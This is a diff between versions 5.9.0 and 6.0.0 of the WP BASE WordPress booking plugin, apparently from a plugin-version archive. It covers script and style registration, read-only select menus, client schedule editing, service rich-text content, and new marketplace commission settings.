+		wp_register_style( 'wp-base-admin', WPB_PLUGIN_URL . '/css/admin.css', array(), $this->ver() );

+		wp_register_style( 'wp-base-stripe', WPB_PLUGIN_URL . '/css/stripe.css', array(), $this->ver() );

 	}

 

 	/**

-     * Register moment locale for non English websites

+     * Register moment locale for non English websites - Deprecated

 	 * @since 3.6.2

+	 * @until 6.0.0

 	 * @return string		Handle of the script to be used as dependency

      */

 	private function register_moment_locale() {

-		$locale 		= strtolower( $this->a->get_locale() );

-		$locale_short 	= current( explode( '-', $locale ) );

-

-		if ( $locale && 'en' != $locale && 'en-us' != $locale ) {

-			foreach( array( $locale, $locale_short ) as $lcl ) {

-				if ( file_exists( WPBASE_PLUGIN_DIR . '/js/locale/'.$lcl.'.js' ) ) {

-

-					wp_register_script( 'jquery-moment-locale',

-						WPB_PLUGIN_URL . '/js/locale/'.$lcl.'.js',

-						(self::is_debug() ? array('jquery-datatables-moment') : array('wp-base-libs')),

-						$this->ver()

-					);

-

-					return 'jquery-moment-locale';

-				}

-			}

-		}

+		return;

 	}

 

 	/**

 	 * Enqueue used jQuery effects

 	 * @since 3.0

+	 * @return none

 	 */

 	public function enqueue_effects(){

 		$effects 	= 'yes' == wpb_setting( 'ms_use_effect' ) ? array( 'blind', 'drop' ) : array( 'drop' );

@@ -189,6 +175,8 @@
 

 		$deps = array(

 			'wp-base-common-scripts',

+			'wp-base-libs',

+			'wp-base-datatables',

 			'codemirror',

 			'jquery-ui-button',

 			'jquery-ui-datepicker',

@@ -196,7 +184,7 @@
 			'jquery-ui-sortable',

 			'jquery-ui-tabs',

 			'wp-color-picker',

-			'wp-base-libs',

+			'moment',

 		);

 

 		# FEBM may call on front end - these are only registered for admin, so we exclude them

@@ -211,34 +199,15 @@
      * Front end script dependencies

      */

 	private function deps_front() {

-		if ( self::is_debug() ) {

-			return array(

-				'wp-base-common-scripts',

-				'jquery-blockui',

-				'wp-base-countdown',

-				'jquery-datatables-jqueryui',

-				'jquery-ui-button',

-				'isotope',

-				'jquery-datatables-jqueryui-responsive',

-				'jquery-datatables-moment',

-				'jquery-quickfit',

-				'jquery-scrollto',

-				'signature-pad',

-				'app-flexslider',

-				'jquery-effects-drop',

-				'jquery-ui-button',

-				'jquery-ui-dialog',

-				'jstz',

-			);

-		} else {

-			return array(

-				'wp-base-common-scripts',

-				'wp-base-libs',

-				'jquery-effects-drop',

-				'jquery-ui-button',

-				'jquery-ui-dialog',

-			);

-		}

+		return array(

+			'wp-base-common-scripts',

+			'wp-base-libs',

+			'wp-base-datatables',

+			'jquery-effects-drop',

+			'jquery-ui-button',

+			'jquery-ui-dialog',

+			'moment',

+		);

 	}

 

 	/**

@@ -246,7 +215,7 @@
      */

 	public function common_data() {

 		global $wp_locale;

-		

+

 		return array(

 			'menuHeight'			=> 'size',

 			'checkAll'				=> wpb_get_text( 'check_all' ),

@@ -278,7 +247,7 @@
 			'decimal_sep'			=> wpb_decimal_separator(),

 			'done'					=> wpb_get_text( 'done' ),

 			'filterLabel'			=> '',						// If left empty "Filter:"

-			'filterPholder'			=> '',						// If left empty "Enter keywords"			

+			'filterPholder'			=> '',						// If left empty "Enter keywords"

 			'iedit_nonce'			=> wp_create_nonce('inline_edit'),

 			'js_date_format'		=> wpb_convert_dt_format( $this->a->safe_date_format() ),

 			'list'					=> wpb_get_text( 'list' ),

@@ -335,10 +304,10 @@
      * Admin data for javascript

      */

 	public function admin_data(){

-		

+

 		$wh_starts = wpb_setting( 'wh_starts', '07:00' );

 		$wh_ends = wpb_setting( 'wh_ends', '18:00' );

-	

+

 		return array(

 			'all_day'			=> wpb_get_text( 'all_day' ),

 			'checkin'			=> wpb_get_text( 'checkin_text' ),

@@ -346,6 +315,7 @@
 			'colorPresets'		=> wpb_get_preset(),

 			'confirmDeleteLog'	=> __( 'Are you sure to clear the log file?', 'wp-base' ),

 			'confirmEmpty'		=> __( 'You are about to delete at least one record. Are you sure to do this?', 'wp-base' ),

+			'confirmPay'		=> __( 'Do you want to pay commission to the selected records?', 'wp-base' ),

 			'confirmReset'		=> __( 'WARNING!! This action will clear all existing database records (bookings, transactions, locations, services, service providers, working hours). Are you sure to do this?', 'wp-base' ),

 			'confirmResetAgain'	=> __( 'Are you REALLY SURE TO DELETE the database records?', 'wp-base' ),

 			'confirmRestore'	=> __( 'This action will restore all WP BASE settings to the defaults. Database records (bookings, transactions, locations, services, service providers, working hours) will not be changed. Are you sure to do this?', 'wp-base' ),

@@ -391,7 +361,8 @@
 									'showImages'	=> 'yes' == wpb_setting( 'schedule_show_images', 'yes' ),	# Show worker images

 									'showCheckout'	=> 'yes' != wpb_setting( 'end_date_for_venue' ), 			# Show checkin/Checkout texts

 									'showTimeline'	=> wpb_is_admin_user() && BASE()->get_nof_workers(), 		# Whether show Timeline in Schedules

-									'editable'		=> wpb_is_admin_user() || (wpb_is_worker() && in_array( wpb_setting( 'allow_worker_edit' ), array('yes','only_schedules','also_admin') ) ), # Whether allow workers editing in Schedules

+									'client'			=> wpb_is_client(),

+									'editable'		=> wpb_is_admin_user() || (wpb_is_worker() && in_array( wpb_setting( 'allow_worker_edit' ), array('yes','only_schedules','also_admin') ) ) || (wpb_is_client() && 'yes' == wpb_setting('allow_edit')), # Whether allow workers editing in Schedules

 									'lockEnabled'	=> (bool)BASE()->get_nof_workers(),	# Interlocking (Global)

 									'lockEnabledMS'	=> wpb_is_multi_store(), 			# Interlocking (Multi Store)

 									'useFilter'		=> false,							# User filter for Multiselect

@@ -404,8 +375,8 @@
      */

 	public function front_data(){

 		global $current_screen, $wp_locale, $post;

-		

-		$post_id = ! empty( $this->current_post_id ) 

+

+		$post_id = ! empty( $this->current_post_id )

 				   ? $this->current_post_id

 				   : (!empty( $post->ID ) ? $post->ID : 0);

 

@@ -546,10 +517,6 @@
 			$data = apply_filters( 'app_js_data', wpb_array_merge( $data, $this->front_data() ), 'front' );

 		}

 

-		if ( $handle = $this->register_moment_locale() ) {

-			$deps[] = $handle;

-		}

-

 		wp_register_script( 'wp-base-admin-scripts', WPB_PLUGIN_URL . '/js/admin/admin-scripts.js', $deps, $this->ver() );

 		$this->localize( $data );

 

@@ -573,10 +540,6 @@
 			}

 		}

 

-		if ( $handle = $this->register_moment_locale() ) {

-			$deps[] = $handle;

-		}

-

 		wp_register_script( 'wp-base-front-scripts', WPB_PLUGIN_URL . '/js/front-scripts.js', $deps, $this->ver(), true );

 		$this->localize( $data );

 		$this->enqueue_effects();

@@ -590,7 +553,7 @@
 	 * Load common styles

 	 */

 	private function load_common_css() {

-		wp_enqueue_style( 'wp-base-updating', WPB_PLUGIN_URL . '/css/updating.css', array(), $this->ver() );

+		wp_enqueue_style( 'wp-base-panels' );

 		wp_enqueue_style( 'jquery-ui-'.sanitize_file_name( $this->a->selected_theme() ), $this->a->get_theme_file(), array(), $this->ver() );

 

 		if ( WpBDebug::is_debug() ) {

@@ -602,7 +565,7 @@
 			wp_enqueue_style( 'jquery-datatables-responsive-ui', WPB_PLUGIN_URL . '/css/responsive.jqueryui.css', array(), $this->ver() );

 			wp_enqueue_style( 'jquery-datatables-jqueryui', WPB_PLUGIN_URL . '/css/dataTables.jqueryui.css', array(), $this->ver() );

 		} else {

-			wp_enqueue_style( "wp-base-libs-min", WPB_PLUGIN_URL . "/css/libs.min.css", array(), $this->ver() );

+			wp_enqueue_style( 'wp-base-libs-min', WPB_PLUGIN_URL . '/css/libs.min.css', array(), $this->ver() );

 		}

 

 		if ( is_rtl() ) {

@@ -622,7 +585,7 @@
 			return;

 		}

 

-		wp_enqueue_style( 'wp-base-admin', WPB_PLUGIN_URL . '/css/admin.css', array(), $this->ver() );

+		wp_enqueue_style( 'wp-base-admin' );

 		wp_enqueue_style( 'wp-color-picker' );

 		wp_enqueue_style( 'editor-buttons' );	// Fix for: wp_editor call does not load editor.min.css on emails page

 

@@ -653,7 +616,7 @@
 

 		do_action( 'app_styles_enqueued', $this );

 	}

-	

+

 	/**

 	 * Load assets for unsupported page builders or templates upon WP BASE shortcode usage

 	 * @uses do_shortcode_tag filter hook

@@ -661,18 +624,18 @@
 	 * @return string

 	 */

 	public function do_shortcode_tag( $output, $tag ) {

-	

+

 		if ( ! did_action( 'app_scripts_enqueued' )  && in_array( $tag, wpb_shortcodes() ) ) {

 			$this->load_front();

 			$this->load_front_css();

-			

-			if ( 'app_account' == $tag || 'app_manage' == $tag ) {

+

+			if ( in_array( $tag, array( 'app_account', 'app_manage', 'app_list', 'app_store' ) ) ) {

 				wp_enqueue_style( 'wp-base-admin-front' );

 				$this->load_admin();

 				$this->load_admin_css();

 			}

 		}

-		

+

 		return $output;

 	}

 

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/class.controller.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/class.controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/class.controller.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/class.controller.php	2026-03-10 03:42:22.000000000 +0000
@@ -52,9 +52,9 @@
 	 * @param	$force_priority	string		Change priority by instance, e.g. in admin inline edit

 	 */

 	public function __construct( $norm_or_booking, $order_by = "sort_order", $force_priority = false, $event = null ) {

-	

+

 		$this->a = BASE();

-		

+

 		if ( $norm_or_booking instanceof WpB_Booking ) {

 			$booking					= $norm_or_booking;

 			$this->req_location			= $booking->get_location();

@@ -84,7 +84,7 @@
 			$this->set_worker = $this->a->get_def_wid();

 			return;

 		}

-		

+

 		if ( WPB_GCAL_SERVICE_ID == $this->req_service ) {

 			$this->set_service 	= $this->req_service;

 			$this->locations 	= array();

@@ -110,7 +110,7 @@
 				case self::WORKER:		$this->adjust_worker();		break;

 			}

 		}

-		

+

 		add_filter( 'app_update_cals_reply', array( $this, 'update_cals_reply' ) );

 	}

 

@@ -124,23 +124,23 @@
 		if ( empty( $_POST['active_step'] ) ) {

 			return $reply;

 		}

-		

+

 		$prev = ! empty( $reply['booking_info'] ) ? $reply['booking_info'] : array();

-		

+

 		# Image

 		if ( $img_url = wpb_get_service_meta( $this->get_service(), 'image_url' ) ) {

 			$slider_image = '<div class="app-cover" style="background-image: url('.$img_url.')"></div>';

 		} else {

 			$slider_image = '';

 		}

-		

+

 		# Duration

 		$s = BASE()->get_service( $this->get_service() );

-		$lasts = ! empty( $_REQUEST['app_duration'] ) 

-				 ? $_REQUEST['app_duration'] 

+		$lasts = ! empty( $_REQUEST['app_duration'] )

+				 ? $_REQUEST['app_duration']

 				 : (! empty( $s->duration ) ? $s->duration : BASE()->get_min_time());

-		

-		$reply['booking_info'] = array_merge( $prev, array( 

+

+		$reply['booking_info'] = array_merge( $prev, array(

 			'service_id' => $this->get_service(),

 			'location'	=> $this->is_loc_active() && $this->get_location() ? wpb_booking_info_line_html( 'location', $this->a->get_location_name( $this->get_location() ) ) : '',

 			'service'	=> wpb_booking_info_line_html( 'service', $this->a->get_service_name( $this->get_service() ) ),

@@ -149,7 +149,7 @@
 			'image'		=> $slider_image,

 			'cart_contents'	=> ! wpb_is_hidden('details') && BASE('Multiple')->values() ? BASE('Multiple')->cart_contents_html( BASE('Multiple')->values() ) : '',

 		) );

-		

+

 		return $reply;

 	}

 

@@ -294,9 +294,9 @@
 	 * @return none

 	 */

 	private function set_random_worker( $ids ) {

-	

+

 		shuffle( $ids );

-		

+

 		if ( empty( $_POST['app_value'] ) && defined( 'WPB_CHECK_WORKER_AVAIL' ) && WPB_CHECK_WORKER_AVAIL ) {

 			$today = strtotime( 'today', $this->a->_time );

 			foreach ( $ids as $id ) {

@@ -505,22 +505,27 @@
 

 	/**

 	 * Create HTML for location select element

+	 * @param $ro		bool	Read Only, e.g not editable items

 	 * @since 3.0

 	 * @return string

 	 */

-	public function select_location( ) {

+	public function select_location( $ro = false ) {

 		$html = '<select class="app-admin-lsw app_select_locations app-no-ms" data-lsw="location" name="location">';

-		

+

 		$loc_ids = wpb_is_manage_store() ? wpb_managed_stores() : array_keys( (array)$this->locations );

 

 		foreach ( $loc_ids as $loc_id ) {

 			$sel = $this->set_location == $loc_id ? ' selected="selected"' : '';

 

+			if ( $ro && ! $sel ) {

+				continue;

+			}

+

 			$html .= '<option value="'.$loc_id.'"'.$sel.'>'. $this->a->get_location_name( $loc_id ) . '</option>';

 		}

 

 		if ( ! $loc_ids ) {

-			$html .= '<option disabled="disabled">' . wpb_get_text('no_free_time_slots'). '</option>';

+			$html .= '<option disabled>' . wpb_get_text('no_free_time_slots'). '</option>';

 		}

 

 		$html .= '</select>';

@@ -530,22 +535,27 @@
 

 	/**

 	 * Create HTML for service select element

+	 * @param $ro		bool	Read Only, e.g not editable items	 

 	 * @param $new		bool	Package selection is allowed for new booking

 	 * @since 3.0

 	 * @return string

 	 */

-	public function select_service( $new = false ) {

+	public function select_service( $ro = false, $new = false ) {

 		$html = '<select class="app-admin-lsw app_select_services app-no-ms" data-lsw="service" name="service">';

 

 		foreach ( (array)$this->services as $service ) {

 			$sel		= $this->set_service == $service->ID ? ' selected="selected"' : '';

-			$disabled	= ! $new && $this->a->is_package( $service->ID ) ? ' disabled="disabled"' : '';

+			$disabled	= ! $new && $this->a->is_package( $service->ID ) ? ' disabled' : '';

+

+			if ( $ro && ! $sel ) {

+				continue;

+			}

 

-			$html .= '<option value="'.$service->ID.'"'.$sel.$disabled.'>'. $this->a->get_service_name( $service->ID ) . '</option>';

+			$html .= '<option '.($ro && ! $sel ? 'disabled' : '').' value="'.$service->ID.'"'.$sel.$disabled.'>'. $this->a->get_service_name( $service->ID ) . '</option>';

 		}

 

 		if ( ! $this->services ) {

-			$html .= '<option disabled="disabled">'. wpb_get_text('no_free_time_slots') .'</option>';

+			$html .= '<option disabled>'. wpb_get_text('no_free_time_slots') .'</option>';

 		}

 

 		$html .= '</select>';

@@ -555,10 +565,11 @@
 

 	/**

 	 * Create HTML for worker select element

+	 * @param $ro		bool	Read Only, e.g not editable items

 	 * @since 3.0

 	 * @return string

 	 */

-	public function select_worker( ) {

+	public function select_worker( $ro = false ) {

 		$html = '<select class="app-admin-lsw app_select_workers app-no-ms" data-lsw="worker" name="worker">';

 

 		if ( $this->workers ) {

@@ -575,6 +586,10 @@
 

 				$sel = $this->set_worker == $worker->ID ? ' selected="selected"' : '';

 

+				if ( $ro && ! $sel ) {

+					continue;

+				}

+

 				$html .= '<option value="'.$worker->ID.'"'.$sel.'>'. $this->a->get_worker_name( $worker->ID ) .'</option>';

 			}

 

@@ -646,12 +661,12 @@
 				if ( $maybe_desc = wpb_get_location_meta( $ID, 'description' ) ) {

 					$desc = $maybe_desc;

 					$sub_context = 'description';

-				}				

+				}

 			} else if ( 'worker' == $context ) {

 				if ( $maybe_img = get_user_meta( $ID, 'app_profile_image', true ) ) {

 					$slider_image = '<img src="'.esc_attr( $maybe_img ).'" alt="User Image" />';

 				}

-				

+

 				if ( $maybe_desc = get_user_meta( $ID, 'app_description', true ) ) {

 					$desc = $maybe_desc;

 					$sub_context = 'description';

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/class.service.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/class.service.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/class.service.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/class.service.php	2026-03-10 03:42:22.000000000 +0000
@@ -580,6 +580,24 @@
 	}

 

 	/**

+	 * Get Rich Text Editor content

+	 * @since 5.9.1

+	 * @return string

+	 */

+	public function get_rte_content() {

+		return wpb_get_service_meta( $this->ID, 'rte_content' );

+	}

+

+	/**

+	 * Update Rich Text Editor content

+	 * @since 5.9.1

+	 * @return bool

+	 */

+	public function update_rte_content( $desc ) {

+		return wpb_update_service_meta( $this->ID, 'rte_content', $desc );

+	}

+	

+	/**

 	 * Get Featured Image Url

 	 * @return string

 	 */

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/constant-data.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/constant-data.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/constant-data.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/constant-data.php	2026-03-10 03:42:22.000000000 +0000
@@ -151,6 +151,13 @@
 Yours sincerely,
 SITE_NAME";
 
+	public static $_commission_paid_message = "Dear VENDOR,
+
+A payment of AMOUNT has been made to your account.
+
+For your information,
+SITE_NAME";
+
 	public static $_waiting_list_message = "Dear CLIENT,
 
 We have received your appointment submission for SITE_NAME.
@@ -255,6 +262,10 @@
 <div><em>NOTE</em></div>
 <div><strong>STATUS</strong> · APP_ID</div>';
 
+	public static $_schedule_desc_client = '<div>SERVICE · PAX pax</div>
+<div>WORKER</div>
+<div><strong>STATUS</strong> · APP_ID</div>';
+
 	public static function privacy_content() { return __('We collect information about you during the checkout process on our website. This information may include, but is not limited to, your name, email address, phone number and any other details that might be requested from you for the purpose of processing your orders.
 Handling this data also allows us to:
 - Send you important account/order/service information.
@@ -302,6 +313,7 @@
 			$currency		= wpb_format_currency();
 
 			$defaults = array(
+				'account_page'					=> array( '', __('Account Page', 'wp-base'), __('The page where <code>[app_account]</code> resides. Normally WP BASE automatically locates this page and sets this setting, however in some cases you may need to set it yourself.', 'wp-base') ),
 				'additional_css'				=> array( '', __('Additional css Rules (Front end)', 'wp-base'), __('You can add css rules to customize styling. These will be added to the front end appointment page(s) only.', 'wp-base') ),
 				'additional_css_admin'			=> array( '', __('Additional css Rules (Admin side)', 'wp-base'), __('You can add css rules to customize styling. These will be added to the admin side only, e.g. to user profile page.', 'wp-base') ),
 				'additional_min_time'			=> array( '', __('Additional Time Base (minutes)', 'wp-base'), __('If selectable time bases do not fit your business, you can add a new one, e.g. 90. Note: 1) After you save this additional time base, you must select it using the Time Base setting. 2) Minimum allowed time base setting is 5 minutes. 3) Entered value should be divisible by 5. For example, 24 is not allowed and it will be rounded to 25.', 'wp-base' ) ),
@@ -315,12 +327,11 @@
 				'agora_api_id'					=> array( '', __('App ID','wp-base'), sprintf( __('Get this value from your %s.', 'wp-base'), '<a class="app-btm" href="https://console.agora.io/" target="_blank">'.__('Agora account').'</a>' ), 'Online Meetings' ),
 				'agora_cert'					=> array( '', __('App Certificate','wp-base'), sprintf( __('Primary certificate from your %s.', 'wp-base'), '<a class="app-btm" href="https://console.agora.io/" target="_blank">'.__('Agora account').'</a>' ), 'Online Meetings' ),
 				'agora_enable'					=> array( 'yes', __('Enable Agora','wp-base'), __('Enables integration with Agora Online Meetings.', 'wp-base'), 'Online Meetings' ),
-				'agora_layout'					=> array( 0, __('Layout','wp-base'), __('Layout of the participant screens', 'wp-base'), 'Online Meetings' ),
 				'agora_subject'					=> array( 'SITE_NAME SERVICE Meeting', __('Agora Subject','wp-base'), sprintf( __('Meeting subject (title). <abbr title="%s">Booking placeholders</abbr> can be used. During meeting creation, these placeholders will be replaced by their real values.', 'wp-base'), WpBConstant::email_desc(1) ), 'Online Meetings' ),
 				'allow_cancel'					=> array( 'no', __('Allow Client Cancel Own Bookings', 'wp-base'), __('Whether to allow clients cancel their bookings using the link in confirmation and reminder emails or using Booking List table or for logged in users, using check boxes in their profile pages. For the email case, you will also need to add CANCEL placeholder to the email message content.', 'wp-base' ) ),
 				'allow_client_set_tz'			=> array( 'no', __('Allow Clients Select Own Timezone', 'wp-base'), __('If selected as "Yes", clients can manually select their timezone in their profile page. This setting overrides automatic dedection.', 'wp-base') ),
 				'allow_confirm'					=> array( 'yes', __('Allow Client Confirm Bookings by Email', 'wp-base'), __('Whether to allow clients confirm their bookings using the link in any email they receive. This link is added by using CONFIRM placeholder in email bodies.', 'wp-base' ) ),
-				'allow_edit'					=> array( 'no', __('Allow Client Edit Own Bookings','wp-base'), __('Whether you let client edit own appointments on the front end. Client can activate editing popup form by one of the following methods: 1) Clicking Edit button in WordPress user page, 2) Clicking Edit button in List Of Bookings, 4) Clicking Edit button in Bookings tab of Account page, 4) Clicking the link in emails. This link is created by inserting EDIT placeholder to the email body.','wp-base'),'Front End Edit' ),
+				'allow_edit'					=> array( 'no', __('Allow Client Edit Own Bookings','wp-base'), __('Whether you let client edit own bookings on List of Bookings or Schedules tab of Account page.','wp-base') ),
 				'allow_now'						=> array( 'no', __('Allow Late Booking', 'wp-base'), __('Setting this as Yes will allow booking of a time slot when current time is within selected time slot, i.e. appointment start time has passed, but it has not ended yet.', 'wp-base' ) ),
 				'allow_register'				=> array( 'auto', __('Allow Registration at Checkout', 'wp-base'), __('Whether add registration fields at checkout. "Auto" follows WordPress "Anyone can register" setting.', 'wp-base' ) ),
 				'allow_worker_annual'			=> array( 'no', __('Set Own Seasonal Schedules', 'wp-base'), __('Requires Seasonal Working Hours Addon. Whether you let service providers to set their annual schedules using their navigation tab in BuddyPress (Requires BuddyPress addon) or their profile page in regular WordPress. They are also allowed to add new custom schedules, but not to delete them.', 'wp-base'), 'Service Providers' ),
@@ -406,9 +417,9 @@
 				'disable_tooltips'				=> array( 'no', __('Disable Tooltips in Booking Calendars', 'wp-base'), __('Selecting "No" will disable tooltips like "Click to pick date", etc. Note: In Debug mode, tooltips are displayed.', 'wp-base' ) ),
 				'dp_reminder_attach'			=> array( 'no', __('Create and Attach pdf File', 'wp-base'), __('Whether to attach a pdf file that will be created from the below fields. If attachment field is empty, file will not be attached (empty file will not be sent).', 'wp-base'), 'PDF' ),
 				'dp_reminder_limit'				=> array( '', sprintf( __('Due Payment Reminder Sending Limit of Balance (%s)', 'wp-base'), BASE()->get_options('currency', 'USD') ), __('Due payment reminder is only sent if balance is negative and absolute value of balance for the appointment is greater than this amount. For example, if this value is set as 10$, an appointment with -9$ balance will not result to a reminder email, but -11$ will. Leave empty if you want to remind client in case of any negative balance.', 'wp-base'), 'Reminder and Follow-up emails' ),
-				'dp_reminder_message'			=> array( '', __('Due Payment Reminder email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_message'			=> array( '', __('Due Payment Reminder Email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'dp_reminder_statuses'			=> array( 'paid,confirmed,completed', __('Booking Statuses Due Payment emails Applied to', 'wp-base'), __('Only clients having appointments with selected status(es) will receive due payment reminder email. If none selected, due payment emails will not be sent at all.', 'wp-base'), 'Reminder and Follow-up emails' ),
-				'dp_reminder_subject'			=> array( '', __('Due Payment Reminder email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_subject'			=> array( '', __('Due Payment Reminder Email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'dp_reminder_time'				=> array( '72,48', __('Due Payment Reminder email Sending Time (hours)', 'wp-base'), __('Defines the time in hours that reminder email will be sent after the appointment has been booked (creation time). Note that this is different than appointment reminder email where appointment start time is taken as reference. Multiple reminders are possible. To do so, enter reminding hours separated with a comma, e.g. 48,72.', 'wp-base'), 'Reminder and Follow-up emails' ),
 				'dummy_assigned_to'				=> array( 0, __('Assign Dummy Providers to', 'wp-base'), __('You can define "Dummy" service providers to enrich your service provider alternatives and variate your working schedules. Their availability and other properties will be exactly like ordinary providers except the emails they are supposed to receive will be forwarded to the user you select here.', 'wp-base'), 'Service Providers' ),
 				'duration_format'				=> array( 'hours_minutes', __('Service Duration Display Format', 'wp-base'), __('With this setting, you can select display format of durations on the front end (minutes, hours, hours+minutes).', 'wp-base' ) ),
@@ -417,10 +428,10 @@
 				'edd_price_name'				=> array( 'From: DATE_TIME To: END_DATE_TIME', __('Booking Info','wp-base'), sprintf( __('Short information about the booking, for example date, time, provider. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
 				'edd_product_meta'				=> array( 'PRODUCT_LINK', __('Booking Details','wp-base'), sprintf( __('Details of booking that will be added below product name. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
 				'edd_product_name'				=> array( 'SERVICE Booking', __('Booking Title','wp-base'), sprintf( __('Defines how the selected booking will be displayed in the cart and receipt. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
-				'editable'						=> array( $editable, __('Editable Booking Fields','wp-base'), sprintf( __('Select which booking fields can be edited. Note: UDF fields can be limited using "Editable" column on %s page. ','wp-base'), '<a href="'.admin_url('admin.php?page=app_display&tab=udf').'" target="_blank">'.__('UDF settings','wp-base').'</a>' ),'Front End Edit' ),
-				'edit_change_price'				=> array( 'yes', __('Allow Price Display and Change'), __('Whether change in selections will affect price.','wp-base'),'Front End Edit' ),
-				'edit_limit'					=> array( '', __('Editing Lower Limit (hours)','wp-base'), __('Number of hours from appointment start time until which client can edit their appointment. For example, entering 24 will disable editing one day before the appointment is due. In such a case any editing request will be replied with "Too late" response. Note: Admins and those who have given editing capability with "cap" attribute are not limited with this setting.','wp-base'),'Front End Edit' ),
-				'edit_upper_limit'				=> array( 60, __('Editing Upper Limit (days)','wp-base'), __('Only bookings whose start date is earlier than this setting can be edited. If left empty, global Upper Limit will be used.','wp-base'),'Front End Edit' ),
+				'editable'						=> array( $editable, __('Editable Booking Fields','wp-base'), sprintf( __('Select which booking fields can be edited. Note: UDF fields can be limited using "Editable" column on %s page. ','wp-base'), '<a href="'.admin_url('admin.php?page=app_display&tab=udf').'" target="_blank">'.__('UDF settings','wp-base').'</a>' ) ),
+				'edit_change_price'				=> array( 'yes', __('Allow Price Display and Change'), __('Whether change in selections will affect price.','wp-base') ),
+				'edit_limit'					=> array( '', __('Editing Lower Limit (hours)','wp-base'), __('Number of hours from appointment start time until which client can edit their appointment. For example, entering 24 will disable editing one day before the appointment is due. In such a case any editing request will be replied with "Too late" response. Note: Admins and those who have given editing capability with "cap" attribute are not limited with this setting.','wp-base') ),
+				'edit_upper_limit'				=> array( 60, __('Editing Upper Limit (days)','wp-base'), __('Only bookings whose start date is earlier than this setting can be edited. If left empty, global Upper Limit will be used.','wp-base') ),
 				'enable_timezones'				=> array( 'no', __('Enable Timezones', 'wp-base'), __('If selected as "Yes", timezone of the client is taken into account during display of booking UI\'s, list of bookings and emails. Admin side and database records are not affected.', 'wp-base'), 'Advanced Features' ),
 				'end_date_for_venue'			=> array( 'no', __('Show End Date Based on Venue Bookings', 'wp-base'), __('For bookings that last one day and longer, whether display end date according to venue bookings. By default (Setting "No"), end date is displayed based on <i>nightly room bookings</i> and it shows the <i>checkout</i> date which is one day past the actual end timestamp. If you select "Yes", end date will be shown based on <i>daytime venue bookings</i> and there will not be an offset for checkout. Note: This selection does not affect how booking is saved to the database, but just how it is displayed on the front end.', 'wp-base' ) ),
 				'ep_if_several'					=> array( 'min', __('Price to Apply upon Multiple Rule Match', 'wp-base'), __('If there are several matching rules, price returned can be selected among minimum, maximum or average of the non-zero prices calculated by matching rules.', 'wp-base'), 'Custom Pricing' ),
@@ -522,7 +533,10 @@
 				'mv_client_approval_time'		=> array( 3, __('Auto Approval Time (days)', 'wp-base'), __('After this time, even if client did not approve, completed bookings will be automatically approved. Leaving empty means 3 days.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_if_several'		=> array( 'max', __('Commission to Apply upon Multiple Role Match', 'wp-base'), __('If vendor has several matching roles, commission rate to be applied can be selected among minimum or maximum of the commissions of matching roles.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_nof_rates'		=> array( 0, __('Number of Commission Rates', 'wp-base'), __('You can define commission percentage based on WordPress user role of the vendor, e.g. to give better commission to certain membership levels. If you will use them, select number of commission rates.', 'wp-base'), 'Marketplace' ),
+				'mv_commission_payment'			=> array( 'manual', __('Commission Payment Method', 'wp-base'), __('Commissions can be paid to vendors automatically when booking is completed or booking is approved by the client or manually at any desired time. Note: When automatic payment is selected, you can also pay manually on Commissions page.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_rate'			=> array( '60', __('Commission Rate (%)', 'wp-base'), __('Percentage of the booking revenue that will be received by the vendor.', 'wp-base'), 'Marketplace' ),
+				'mv_enable_approved'			=> array( 'no', __('Enable Approved Status', 'wp-base'), __('Whether to use Approved status.', 'wp-base'), 'Marketplace' ),
+				'mv_enable_stripe_connect'		=> array( 'no', __('Enable Stripe Connect', 'wp-base'), __('Whether to use Stripe Connect to pay commissions to vendors.', 'wp-base'), 'Marketplace' ),
 				'mv_fees_paid_by'				=> array( 'website', __('Fees Covered By', 'wp-base'), __('Who will cover the transaction fees. If covered by vendor, fees are deducted from client payment and vendor\'s earning will be lower.', 'wp-base'), 'Marketplace' ),
 				'mv_give_commission_own_sales'	=> array( 'no', __('Give Commission for Own Sales', 'wp-base'), __('Whether to give commission if client is the vendor themselves.', 'wp-base'), 'Marketplace' ),
 				'mv_hide_non_vendor_calendar'	=> array( 'yes', __('Hide Non-Vendor Booking Calendars', 'wp-base'), __('Whether to hide booking calendars on pages of non-vendors. Setting this to "Yes" will mean: For the above bio page CPTs, booking is only allowed on approved vendor bio pages.', 'wp-base'), 'Marketplace' ),
@@ -544,7 +558,6 @@
